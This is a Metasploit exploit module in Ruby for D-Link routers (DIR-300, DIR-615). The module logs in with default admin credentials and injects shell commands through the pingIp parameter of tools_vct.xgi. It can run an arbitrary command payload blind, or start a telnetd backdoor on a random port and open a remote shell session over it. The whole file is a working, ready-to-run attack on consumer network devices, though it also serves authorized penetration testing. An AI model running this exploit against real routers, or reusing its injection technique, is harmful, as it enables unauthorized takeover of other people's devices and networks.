##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient
	include Msf::Auxiliary::CommandShell

	def initialize(info = {})
		super(update_info(info,
			'Name'        => 'D-Link Devices Unauthenticated Remote Command Execution',
			'Description' => %q{
				Different D-Link Routers are vulnerable to OS command injection via the web
				interface. The vulnerability exists in tools_vct.xgi, which is accessible with
				credentials. This module has been tested with the versions DIR-300 rev A v1.05
				and DIR-615 rev D v4.13. Two target are included, the first one starts a telnetd
				service and establish a session over it, the second one runs commands via the CMD
				target. There is no wget or tftp client to upload an elf backdoor easily. According
				to the vulnerability discoverer, more D-Link devices may affected.
			},
			'Author'      =>
				[
					'Michael Messner <devnull@s3cur1ty.de>', # Vulnerability discovery and Metasploit module
					'juan vazquez' # minor help with msf module
				],
			'License'     => MSF_LICENSE,
			'References'  =>
				[
					[ 'OSVDB', '92698' ],
					[ 'EDB', '25024' ],
					[ 'BID', '59405' ],
					[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-014' ]
				],
			'DisclosureDate' => 'Apr 22 2013',
			'Privileged'     => true,
			'Platform'       => ['linux','unix'],
			'Payload'        =>
				{
					'DisableNops' => true,
				},
			'Targets'        =>
				[
					[ 'CMD',	#all devices
						{
						'Arch' => ARCH_CMD,
						'Platform' => 'unix'
						}
					],
					[ 'Telnet',	#all devices - default target
						{
						'Arch' => ARCH_CMD,
						'Platform' => 'unix'
						}
					],
				],
			'DefaultTarget'  => 1
			))

		register_options(
			[
				OptString.new('USERNAME',[ true, 'User to login with', 'admin']),
				OptString.new('PASSWORD',[ false, 'Password to login with', 'admin']),

			], self.class)
	end

	def exploit
		user = datastore['USERNAME']

		if datastore['PASSWORD'].nil?
			pass = ""
		else
			pass = datastore['PASSWORD']
		end

		test_login(user, pass)

		if target.name =~ /CMD/
			exploit_cmd
		else
			exploit_telnet
		end
	end

	def test_login(user, pass)
		print_status("#{rhost}:#{rport} - Trying to login with #{user} / #{pass}")

		login_path = "/login.php"

		#valid login response includes the following
		login_check = "\<META\ HTTP\-EQUIV\=Refresh\ CONTENT\=\'0\;\ url\=index.php\'\>"

		begin
			res = send_request_cgi({
				'uri' => login_path,
				'method' => 'POST',
				'vars_post' => {
					"ACTION_POST" => "LOGIN",
					"LOGIN_USER" => "#{user}",
					"LOGIN_PASSWD" => "#{pass}",
					"login" => "+Log+In+"
					}
			})
			if res.nil?
				fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice - no response")
			end
			if (res.headers['Server'].nil? or res.headers['Server'] !~ /Mathopd\/1.5p6/)
				fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice - check the server banner")
			end
			if (res.code == 404)
				fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice - 404 error")
			end

			if (res.body) =~ /#{login_check}/
				print_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}")
			else
				fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
			end

		rescue ::Rex::ConnectionError
			fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice")
		end
	end

	def exploit_cmd
		if not (datastore['CMD'])
			fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")
		end
		res = request(payload.encoded)
		if (!res or res.code != 302 or res.headers['Server'].nil? or res.headers['Server'] !~ /Alpha_webserv/)
			fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
		end

		print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state\n")
		return
	end

	def exploit_telnet
		telnetport = rand(65535)

		vprint_status("#{rhost}:#{rport} - Telnetport: #{telnetport}")

		cmd = "telnetd -p #{telnetport}"

		#starting the telnetd gives no response
		request(cmd)

		begin
			sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i })

			if sock
				print_good("#{rhost}:#{rport} - Backdoor service has been spawned, handling...")
				add_socket(sock)
			else
				fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!")
			end

			print_status "Attempting to start a Telnet session #{rhost}:#{telnetport}"
			auth_info = {
				:host   => rhost,
				:port   => telnetport,
				:sname => 'telnet',
				:user   => "",
				:pass	=> "",
				:source_type => "exploit",
				:active => true
			}
			report_auth_info(auth_info)
			merge_me = {
				'USERPASS_FILE' => nil,
				'USER_FILE'     => nil,
				'PASS_FILE'     => nil,
				'USERNAME'      => nil,
				'PASSWORD'      => nil
			}
			start_session(self, "TELNET (#{rhost}:#{telnetport})", merge_me, false, sock)
		rescue
			fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!")
		end
		return
	end

	def request(cmd)

		uri = '/tools_vct.xgi'

		begin
			res = send_request_cgi({
				'uri'    => uri,
				'vars_get'	=> {
					'set/runtime/switch/getlinktype' => "1",
					'set/runtime/diagnostic/pingIp' => "`#{cmd}`",
					'pingIP' => ""
					},
				'method' => 'GET',
			})
		return res
		rescue ::Rex::ConnectionError
			fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice")
		end
	end
end